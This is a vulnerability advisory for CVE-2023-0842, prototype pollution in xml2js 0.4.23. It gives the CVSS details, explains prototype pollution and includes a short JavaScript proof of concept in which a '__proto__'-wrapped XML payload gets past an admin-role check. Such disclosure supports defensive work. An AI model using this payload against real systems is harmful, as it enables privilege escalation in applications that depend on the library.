xml2js 0.4.23 - Prototype Pollution

Summary


Name	xml2js 0.4.23 - Prototype Pollution
Code name	Myers
Product	mdpdf
Affected versions	Version 0.4.23
State	Public
Release date	2023-04-10

Vulnerability


Kind	Prototype Pollution
Rule	390. Prototype Pollution
Remote	Yes
CVSSv3.1 Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVSSv3.1 Base Score	7.3
Exploit available	Yes
CVE ID(s)	CVE-2023-0842

Description

xml2js version 0.4.23 allows an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__ property to be edited.

Vulnerability

Prototype pollution is a vulnerability that affects JS. It occurs when a third party manages to modify the __proto__ of an object. JavaScript first checks if such a method/attribute exists in the object. If so, then it calls it. If not, it looks in the object's prototype. If the method/attribute is also not in the object's prototype, then the property is said to be undefined.

Therefore, if an attacker succeeds in injecting the __proto__ property into an object, he will succeed in injecting or editing its properties.

Exploitation

Exploit.md

var parseString = require('xml2js').parseString; let normal_user_request = "<role>admin</role>"; let malicious_user_request = "<__proto__><role>admin</role></__proto__>"; const update_user = (userProp) => {
    // A user cannot alter his role. This way we prevent privilege escalations.
    parseString(userProp, function (err, user) {
        if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
            console.log("Unauthorized Action");
        } else {
            console.log(user?.role[0]);
        }
    });
}

update_user(normal_user_request);
update_user(malicious_user_request);